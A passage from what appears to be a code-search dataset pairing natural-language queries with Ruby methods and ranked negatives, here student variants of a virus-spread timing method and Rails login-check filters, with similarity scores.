affected\r\n # by additional factors we haven't added into this functionality.\r\n #speed = 0.0\r\n\r\n #if @population_density >= 200\r\n # speed += 0.5\r\n #elsif @population_density >= 150\r\n # speed += 1\r\n #elsif @population_density >= 100\r\n # speed += 1.5\r\n #elsif @population_density >= 50\r\n # speed += 2\r\n #else\r\n # speed += 2.5\r\n #end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n if @population_density\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end\n\nend", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #(population_density, state) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n @speed = 0.0\n # REFACTOR: Rename speed variable to time or months.\n \n\n if @population_density >= 200\n @speed += 0.5\n elsif @population_density >= 150\n @speed += 1\n elsif @population_density >= 100\n @speed += 1.5\n elsif @population_density >= 50\n @speed += 2\n else\n @speed += 2.5\n end\n end", "def balloon_speed\r\r\n return 15\r\r\n end", "def ceil\n end", "def ceil() end", "def ballsbowled\n 6 * overs.floor(0) + (overs - overs.floor(0)) * 10\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n @speed = 0.0\r\n\r\n# if @population_density >= 200\r\n# @speed += 0.5\r\n# elsif @population_density >= 150\r\n# @speed += 1\r\n# elsif @population_density >= 100\r\n# @speed += 1.5\r\n# elsif @population_density >= 50\r\n# @speed += 2\r\n# else\r\n# @speed += 2.5\r\n# end\r\n \r\n case @population_density\r\n when 0...49 then @speed += 2.5\r\n when 50...99 then @speed += 2\r\n when 100...149 then @speed += 1.5\r\n when 150...200 then @speed += 1\r\n else @speed += 0.5\r\n end\r\n puts \" and will spread across the state in #{@speed} months.\\n\\n\"\r\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n if @population_density >= 200\n @number_of_months += 0.5\n elsif @population_density >= 150\n @number_of_months += 1\n elsif @population_density >= 100\n @number_of_months += 1.5\n elsif @population_density >= 50\n @number_of_months += 2\n else\n @number_of_months += 2.5\n end\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n case @population_density\n when 200..Float::INFINITY then speed += 0.5\n when 150..199 then speed += 1\n when 100..149 then speed += 1.5\n when 50..99 then speed += 2\n else speed += 2.5\n end\n=begin \n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n=end \n speed\n end", "def speed_of_spread\n #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread\r\n #(population_density, state) <---- deleted, not necessary\r\n #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n case population_density\r\n when 0..49 then speed += 2.5\r\n when 50..99 then speed += 2\r\n when 100..150 then speed += 1.5\r\n when 151..200 then speed += 1\r\n else speed += 0.5\r\n end\r\n\r\n\r\n # if population_density >= 200\r\n # speed += 0.5\r\n # elsif population_density >= 150\r\n # speed += 1\r\n # elsif population_density >= 100\r\n # speed += 1.5\r\n # elsif population_density >= 50\r\n # speed += 2\r\n # else\r\n # speed += 2.5\r\n # end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread(population_density) #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n case @population_density\n when 200..Float::INFINITY\n speed += 0.5\n when 150..199\n speed += 1\n when 100..149\n speed += 1.5\n when 50..99\n speed += 2\n else speed += 2.5\n end\n\n speed\n\n end", "def gear_inches\n ratio * diameter\nend", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n @speed = if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0\r\n case @population_density\r\n when (200..10000000000) then speed = 0.5\r\n when (150..199) then speed = 1\r\n when (100..149) then speed = 1.5\r\n when (50..99) then speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n # binding.pry\r\n\r\n\r\n=begin\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n=end\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def height_multiplier\n @height_multiplier || 1\n end", "def gear_inches\n\tratio * diameter\nend", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n # spread_rates = {200 => 0.5, 150 => 1, 100 => 1.5, 50 => 2, 0 => 2.5}\r\n spread_rates = {0 => 2.5, 50 => 2, 100 => 1.5, 150 => 1, 200 => 0.5}\r\n\r\n spread_rates.each do |density, rate|\r\n if @population_density >= density\r\n speed = rate\r\n end\r\n end\r\n\r\n=begin - refactored\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n=end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\n# We are still perfecting our formula here. The speed is also affected\n# by additional factors we haven't added into this functionality.\nif @population_density >= 200\n speed = 0.5\nelsif @population_density >= 150\n speed = 1\nelsif @population_density >= 100\n speed = 1.5\nelsif @population_density >= 50\n speed = 2\nelse\n speed = 2.5\nend\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\nend", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n#we can remove this and have it print within virus_effects so that this method does one thing\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def gear_inches\n\tratio * (rim + (tire * 2))\nend", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n # speed = 0.0\n\n # Popl is a specific number add to speed .5\n # [2.5] - [(Population / 50) * (.5)]\n if @population_density < 50\n speed = 2.5\n else\n speed = 2.5 - ((@population_density/50).floor * 0.5)\n end\n\n\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread(this) #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n case @population_density\r\n when 200..\r\n speed += 0.5\r\n when 150..200\r\n speed += 1\r\n when 100..150\r\n speed += 1.5\r\n when 50..100\r\n speed += 2\r\n when 0..50\r\n speed += 2.5\r\n end\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n end", "def gear_inches\n ratio * wheel.diameter\nend", "def speed_of_spread\n #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n if population_density >= 200\n speed = 0.5\n elsif population_density >= 150\n speed = 1\n elsif population_density >= 100\n speed = 1.5\n elsif population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "def action_jump_height\n if (@positions[:jumppeak] > 0) \n return (@positions[:jumppeak] * @positions[:jumppeak] - (@positions[:target][:time] - @positions[:jumppeak]).abs ** 2) / 2\n end\n return 0\n end", "def maxTorque w\n if w<$IdleW\n 0\n elsif w<$MaxTorqueW\n $IdleTorque+($MaxTorque-$IdleTorque)*\n (w-$IdleW)/\n ($MaxTorqueW-$IdleW)\n else\n $MaxTorque\n end\nend", "def speed_of_spread \n #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread() #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n#refractor\r\n case\r\n when @population_density >= 200 then speed += 0.5\r\n when @population_density >= 150 then speed += 1\r\n when @population_density >= 100 then speed += 1.5\r\n when @population_density >= 50 then speed += 2\r\n else speed += 2.5\r\n end\r\n\r\n\r\n # if @population_density >= 200\r\n # speed += 0.5\r\n # elsif @population_density >= 150\r\n # speed += 1\r\n # elsif @population_density >= 100\r\n # speed += 1.5\r\n # elsif @population_density >= 50\r\n # speed += 2\r\n # else\r\n # speed += 2.5\r\n # end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread#in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def max_descent_speed; end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n case @population_density\n when 0..50 then 2.5\n when 51..100 then 2\n when 101..150 then 1.5\n when 151..200 then 1\n else 0.5\n end\n\n end", "def speed_of_spread\r\n #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n # speed = 0.0\r\n # if @population_density >= 200\r\n # speed += 0.5\r\n # elsif @population_density >= 150\r\n # speed += 1\r\n # elsif @population_density >= 100\r\n # speed += 1.5\r\n # elsif @population_density >= 50\r\n # speed += 2\r\n # else\r\n # speed += 2.5\r\n # end\r\n\r\n case @population_density\r\n when 0 .. 49 then speed = 2.5\r\n when 50 .. 99 then speed = 2\r\n when 100 .. 149 then speed = 1.5 \r\n when 150 .. 200 then speed = 1\r\n else speed = 0.5\r\n end\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n end", "def round_up_to_heat(number)\n # already a factor\n return number if number % MAX_HEAT_SIZE == 0\n # go to nearest factor\n return number + MAX_HEAT_SIZE - (number % MAX_HEAT_SIZE)\n end", "def calcTier(length, height, width)\n\t\treturn ((length.to_f * height.to_f * width.to_f)/1728.0).round(4)\n\tend", "def load_factor\n @count.to_f / size.to_f\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n\n if (@population_density >= 50) && (@population_density <= 200) \n speed += (2.5 - (@population_density / 100).floor)\n elsif @population_density > 200\n speed += 0.5\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread() #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density <= 50\n speed += 2.5\n else\n months = 2.5 - ((@population_density.floor / 50) * 0.5)\n speed += months\n end\n end", "def speed_of_spread\r\n # in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n \n speed = if @population_density >= 200\n 0.5\n elsif @population_density >= 150\n 1\n elsif @population_density >= 100\n 1.5\n elsif @population_density >= 50\n 2\n else\n 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def shutter_speed_range; end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n \r\n\r\n if @population_density >= 200\r\n speed = 0.5\r\n\r\n elsif @population_density >= 150\r\n speed = 1\r\n\r\n elsif @population_density >= 100\r\n speed = 1.5\r\n\r\n elsif @population_density >= 50\r\n speed = 2\r\n\r\n else\r\n speed = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n\n speed += case @population_density\n when 0...50\n 2.5\n when 50...100\n 2\n when 100...150\n 1.5\n when 150...200\n 1\n else\n 0.5\n end\n \n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n # if @population_density >= 200\r\n # speed += 0.5\r\n # elsif @population_density >= 150\r\n # speed += 1\r\n # elsif @population_density >= 100\r\n # speed += 1.5\r\n # elsif @population_density >= 50\r\n # speed += 2\r\n # else\r\n # speed += 2.5\r\n # end\r\n\r\n puts \" and will spread across the state in #{@speed} months.\\n\\n\"\r\n\r\n end", "def speed_of_spread() #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n # speed = 0.0\n\n if @population_density >= 200\n speed = 0.5\n elsif @population_density >= 150\n speed = 1\n elsif @population_density >= 100\n speed = 1.5\n elsif @population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end" ]
[ "0.68641603", "0.68641603", "0.68449426", "0.68273604", "0.68135566", "0.6750255", "0.6743047", "0.67339194", "0.67282027", "0.67111313", "0.6703598", "0.666615", "0.666615", "0.666615", "0.6664342", "0.66427684", "0.6619947", "0.66180277", "0.659593", "0.65779155", "0.6568788", "0.65647715", "0.65626127", "0.6524228", "0.65180486", "0.6500701", "0.64933825", "0.64687514", "0.6467186", "0.64661676", "0.64608234", "0.6429071", "0.64221954", "0.64077353", "0.64026356", "0.6394934", "0.63800544", "0.63758284", "0.6357841", "0.63522226", "0.6336677", "0.633575", "0.6319405", "0.63101393", "0.631013", "0.6300633", "0.6295951", "0.62941605", "0.62939", "0.6293532", "0.62930644", "0.62862784", "0.6283322", "0.6283322", "0.6281586", "0.62797177", "0.6277004", "0.6273441", "0.6270289", "0.626405", "0.6263305", "0.62607443", "0.6255023", "0.6247034", "0.6240089", "0.62378776", "0.6233793", "0.6228852", "0.6223852", "0.6218507", "0.6213468", "0.620477", "0.6203533", "0.61992407", "0.6198358", "0.61920846", "0.61905205", "0.6189971", "0.61837673", "0.6182209", "0.6178731", "0.6178036", "0.6175262", "0.6172664", "0.61715996", "0.6167025", "0.6164545", "0.6163599", "0.61629164", "0.61569726", "0.61548537", "0.615215", "0.61495477", "0.6148444", "0.61457616", "0.6142914", "0.6140883", "0.61396295", "0.6138413", "0.61370486" ]
0.7932343
0
Before filters Confirms a loggedin user.
def logged_in_user unless logged_in? store_location flash[:danger] = "Please log in." redirect_to login_url end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def signed_in_user_filter\n if signed_in?\n redirect_to root_path, notice: \"Already logged in\"\n end\n end", "def appctrl_confirm_user\n redirect_to( signin_path() ) unless @current_user\n end", "def confirm_logged_in\n unless session[:user_id]\n flash[:notice] = \"Please log in.\"\n redirect_to root_path\n return false # halts the before_action\n else\n return true\n end\n end", "def before_filter\n if current_user\n true\n end\n end", "def cleared_required\n if current_user\n if current_user.cleared\n return\n end\n raise 'Du är ännu inte godkänd för att tippa.'\n end\n redirect_to \"/login\", notice: 'Logga in för att tippa.'\n end", "def confirm_logged_in\n unless session[:user_id]\n flash[:notice] = \"Please log in.\"\n render('show')\n #redirect_to(:action => 'login')\n \n #redirect_to(:action => 'login')\n #redirect_to(:controller => 'contacts', :action => 'list')\n \n \n return false # halts the before_filter\n else\n redirect_to(:controller => 'admin_users')\n return true\n end\n end", "def authorized!\n redirect_to root_url, alert: \"You need to be set up for receiving whispers first\" and return unless current_user\n end", "def check_user_before_membership\n if current_user\n ncm_membership = current_user.get_membership(@mother)\n epicenter = Epicenter.find_by_slug(params['epicenter_id'])\n\n if epicenter != @mother and not ncm_membership\n session[:new_ncm_membership] = { \n :epicenter_id => params['epicenter_id'], \n :membership_id => params['membership_id'],\n :t => Time.now\n }\n #\n redirect_to new_epicenter_subscription_path(@mother)\n end\n else\n # it's possible that we can put the logic from \"authenticate\" method below here\n redirect_to epicenters_path\n end\n end", "def authorized\n redirect_to new_user_session_path unless logged_in?\n end", "def current_user_required\n\t\t# Have to add \".filter(self)\" when not in before_filter line.\n\t\tCASClient::Frameworks::Rails::Filter.filter(self)\n\tend", "def confirm_logged_in\n \tunless session[:user_id]\n \t\tflash[:notice] = \"Please Log in.\"\n \t\tredirect_to(login_path)\n \tend\n end", "def check_user_before_action\n @blog = Blog.find(params[:id])\n if (current_user != @blog.user) and (@blog.global == false)\n redirect_to({ action: \"index\" }, notice: \"You don't have sufficient permissions\")\n\n end\n end", "def enforce_logged_in\n bounce unless current_user\n end", "def authorized_user!\n unless user_logged_in?\n redirect_to root_path\n end\n end", "def authorize_user\n if @user.id != current_user.id\n redirect_to \"/\", notice: 'You are not allowed the given operation' and return\n end\n end", "def require_no_authentication\n super\n return unless flash[:alert].present?\n\n flash[:alert] = nil\n flash[:notice] = _('You are already signed in as another user. Please log out to activate your invitation.')\n end", "def confirm_logged_in\n unless session[:user_id] != nil\n redirect_to root_path\n end\n end", "def filter_user_is_registered\n unless( user_is_registered)\n redirect_to_login\n end\n end", "def confirm_user_logged_in\n unless logged_in?\n store_url # So that user is sent to the same URL after they log in\n flash[:danger] = \"Please log in.\"\n redirect_to root_url\n end\n end", "def login_filter\n\t\tif not protect?( action_name )\n\t\t\treturn true \n\t\tend\n\n\t\tif not session[:user_id]\n\t\t\t# user isn't logged in\n\t\t\tstore_location\n\t\t\tredirect_to :controller=>\"account\", :action=>\"login\"\n\t\t\treturn false\n\t\tend\n\n\t\t# initialize the @user variable\n\t\t@user = User.find( session[:user_id] )\n\t\t\n\t\tif not @user.validated?\n\t\t\t# user is logged in, but they haven't been validated\n\t\t\tredirect_to :controller=>\"account\", :action=>\"not_activated\"\n\t\t\treturn false\n\t\telsif not authorized?( @user, action_name )\n\t\t\t# user is logged in and validated, but not authorized\n\t\t\tredirect_to :controller=>\"account\", :action =>\"denied\"\n\t\t\treturn false\n\t\telse\n\t\t\t# user is logged in AND validated AND authorized! let 'em in!\n\t\t\treturn true\t\n\t\tend\n\n\t\t# we shouldn't get here\n\t\traise \"Serious malfunction in 'login_filter' -- please contact manufacturer ([email protected])...\"\n\tend", "def authorize\n redirect_to new_session_path unless current_user #call method curent_user in sessions_helper\n end", "def prevent_other_user_edits\n @user = User.find(params[:id])\n\n if !(logged_in?)\n redirect_to login_path\n flash[:danger] = \"You must be logged in to visit this page\"\n\n else\n if (current_user.id != @user.id)\n redirect_to home_path\n flash[:danger] = \"You must be logged in as the correct user to visit this page\"\n end\n end\n end", "def force_auth\n\t\tlogger.debug \" Callback: force_auth\"\n\t\tsession[:last_ts] = nil\n\t\tCASClient::Frameworks::Rails::Filter.filter self unless @current_user\n\tend", "def authorize_user\n unless current_user\n flash[:notice] = \"Sorry, you need to be logged in to access that feature\"\n redirect_to new_session_path\n end\n end", "def unconfirmed_user_only!\n unless current_user.email_confirmed?\n redirect_to root_path, alert: t('application.unconfirmed_user_only')\n end\n end", "def valid_user\n unless ( @user && @user.activated? &&\n @user.authenticated?( :reset, params[ :id]))\n redirect_to root_url\n end\n end", "def restrict_users\n \t\tif user_signed_in?\n \t\t\tif current_user.has_role? :client\n \t\t\t\tif current_user.profile.agreed == nil\n \t\t\t\t\tredirect_to edit_profile_path(current_user.profile)\n \t\t\t\tend\n \t\t\tend\n\n \t\tend\n\n \tend", "def valid_user\n # unless (@user && @user.activated? && @user.authenticated?(:reset, params[:id])) \n unless(@user && @user.activated?)\n redirect_to root_url\n end\n end", "def authorize_user\r\n unless session[:user_id]\r\n session[:original_uri] = request.request_uri\r\n flash[:notice] = Resource.get(\"user_not_authorized_wo_login\")\r\n redirect_to(:controller => \"welcome\", :action => \"signin\")\r\n end\r\n end", "def confirm_logged_in\n unless session[:user_id]\n redirect_to login_path, alert: \"Please log in\"\n end\n end", "def valid_user\n unless (@user && @user.approved? &&\n @user.authenticated?(:reset, params[:id]))\n redirect_to root_url\n end\n end", "def valid_user\n return if @user && @user.activated? && @user.authenticated?('reset', params[:id])\n redirect_to root_url\n end", "def unauthorized_user!\n if @user != current_user\n redirect_to root_path, status: :unauthorized, alert: 'You can only perform this action on your own user!'\n end\n end", "def user_have\n unless current_user\n redirect_to root_path, :alert => \"Зарегистрируйтесь или войдите\"\n end\n end", "def authorize\n if !user_signed_in?\n redirect_to new_user_session_path\n end\n end", "def valid_user\n unless (@user && @user.activated? &&\n @user.authenticated?(:reset, params[:id]))\n redirect_to root_url\n end\n end", "def configure_sign_in_params\n if !!current_end_user && current_end_user&.is_withdrawal != true #ユーザーが存在する場合(true)かつユーザーの退会フラグがfalseの時\n reset_session\n flash[:alert] = \"このアカウントは退会済みです。\"\n redirect_to request.referer\n end\n end", "def handle_unverified_request\n sorcery_config.before_unverified_request.each do |callback|\n send(callback)\n end\n @current_user = nil\n super # call the default behaviour which resets the session\n end", "def login_required\n not_authorized unless current_user\n end", "def authorize_user\n @user = User.find(params[:id])\n\n #User.find_by(id: (session[:update_email]/50000)) works with the code on line 50 of the sessions controller\n #this is done to allow the user to update the email in the case that they do not receive a confirmation email\n unless @user == User.find_by(id: session[:user_id]) || User.find_by(role_id: session[:user_role_id]) || User.find_by(id: (session[:update_email]/50000))\n redirect_to login_url, notice: \"Permission Denied.\\nA different user login is required to access this page.\"\n end\n end", "def require_user\n current_user\n if @current_user\n if @current_user.token_expired?\n #binding.pry\n @current_user = nil\n session.delete(:id)\n set_notification_messages(\"authentication.session_expired\", :error)\n redirect_or_popup_to_default_sign_in_page\n return\n end\n else\n set_notification_messages(\"authentication.permission_denied\", :error)\n redirect_or_popup_to_default_sign_in_page\n return\n end\n end", "def correct_user\n\t\t\tauthenticate_user!\n\t\t\tunless @user == current_user || current_user.admin?\n\t\t\t\tredirect_to (root_path)\n\t\t\t\tflash[:alert]\n\t\t\tend\n\t\tend", "def authorize\n redirect_to \"/log_in\", :alert => t('.need_to_be_logged_in') unless signed_in?\n end", "def verify_user\n redirect_to forbidden_path unless user_signed_in? && @review.user_id == current_user.id\n end", "def run_filters\n set_user\n authorize\n end", "def valid_user\n redirect_to root_url unless @user && @user.activated? && @user.authenticated?(:reset, params[:id])\n end", "def user_logout_required\n if logged_in?\n flash[:notice] = 'Please log out of your user account first!'\n redirect_to current_user\n end\n end", "def authorize_user!\n user = Circle.find(params[:id]).user\n if current_user != user\n flash[:notices] = \"Unathorized action\"\n redirect_to user_url(user.id)\n end\n end", "def valid_user\n \tunless(@user && @user.activated? && @user.authenticated?(:reset, params[:id]))\n \t\tredirect_to root_url\n \tend\n end", "def require_user\n #if not logged in \n if !logged_in?\n flash[:alert] = \"You must be logged in to perform that action\"\n #then redirect them away\n redirect_to login_path\n end\n end", "def valid_user\n\t\t\tunless (@user && @user.activated? && \n\t\t\t\t\t\t\[email protected]?(:reset, params[:id]))\n\t\t\t\tredirect_to root_url\n\t\t\tend\t\n\t\tend", "def authorize\n redirect_to login_url, alert: \"Not authorized\" if !current_user\n end", "def require_user\n #if not logged in \n if !logged_in?\n flash[:danger] = \"You must be logged in to perform that action\"\n redirect_to root_path\n end\n \n \n end", "def authorize\n redirect_to('/login') unless @current_user\n end", "def authorized\n redirect_to '/signin' unless current_driver\n end", "def require_user\n current_user\n if @current_user\n if @current_user.token_expired?\n @current_user = nil\n session.delete(:id)\n set_notification_messages(I18n.t(\"authentication.session_expired_heading\"), I18n.t(\"authentication.session_expired_message\"), :error)\n redirect_to_sign_in_page\n return\n end\n else\n set_notification_messages(I18n.t(\"authentication.permission_denied_heading\"), I18n.t(\"authentication.permission_denied_message\"), :error)\n redirect_to_sign_in_page\n return\n end\n end", "def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to perform that action\"\n redirect_to root_path\n end\n end", "def user_stray\n if !logged_in? || @user == nil\n flash[:alert] = \"You have been logged out of your session. Please log back in to continue.\"\n redirect \"/\"\n elsif @user.id != current_user.id\n flash[:alert] = \"You do not have permission to view or edit other users' content.\"\n redirect \"/\"\n end\n end", "def authorize\n redirect_to login_path and return unless current_user\n @current_user.touch(:seen_at)\n end", "def authorize\n if current_user.nil?\n redirect_to login_url, alert: \"Please Log in or Sign Up to comment!\"\n \tend\n end", "def ensure_user_logged_in\n bounce_user unless current_user\n end", "def authorize\n \t\t\tunless User.find_by(id: session[:user_id])\n \t\t\t\tredirect_to login_url, notice: \"Please Log-in\"\n \t\t\tend\n \t\tend", "def correct_user\n \n redirect_to(login_path) unless current_user?(@user)\n end", "def before_request\n self.login if require_login? && !@authenticating\n end", "def correct_user\n @user = User.find(params[:id])\n if @user != current_user\n flash[:alert] = \"Action not authorized\"\n redirect_to(root_url)\n end\n end", "def logged_in_user\n unless current_user\n flash[:danger] = \"Please log in.\"\n redirect_to log_in_path\n end\n end", "def authorize_signed_in!\n redirect_to user_session_path, alert: \"You have to be signed in to do that!\" unless current_user\n end", "def confirm_logged_in\r\n unless session[:username]\r\n redirect_to authenticate_index_path\r\n else\r\n true\r\n end\r\n end", "def authorize\n if current_user.nil?\n redirect_to events_manager_index_path, :notice => \"Login to continue!\"\n return false\n else\n end \n end", "def authorize \n unless logged_in?\n flash[:danger] = \"You must be logged in to view that... Please log in.\"\n redirect_to new_session_path unless logged_in?\n end\n end", "def require_user\n if !logged_in?\n 